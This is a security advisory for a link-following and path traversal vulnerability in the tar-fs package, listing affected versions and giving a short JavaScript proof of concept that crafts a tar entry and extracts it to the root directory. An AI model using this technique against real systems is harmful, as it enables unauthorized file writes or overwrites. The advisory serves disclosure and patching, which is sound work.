GHSA-pq67-2wwv-3xjx

An Improper Link Resolution Before File Access ("Link Following") and Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.

This issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.7.

PoC

// Create a writable stream to extract the tar content
const extractStream = tarfs.extract('/', {
    // We can ignore the file type checks to allow the extraction of the malicious file
    ignore: (name) => false,
});

// Create a tar stream
const tarStream = tarfs.pack().on('error', (err) => {
    throw err;
});

// Append the malicious entry to the tar stream
tarStream.entry({ name: '/flag.txt', mode: 0o644 }, Buffer.from('This is a flag!'));

// Finalize the tar stream
tarStream.finalize();

// Pipe the tar stream into the extract stream
tarStream.pipe(extractStream);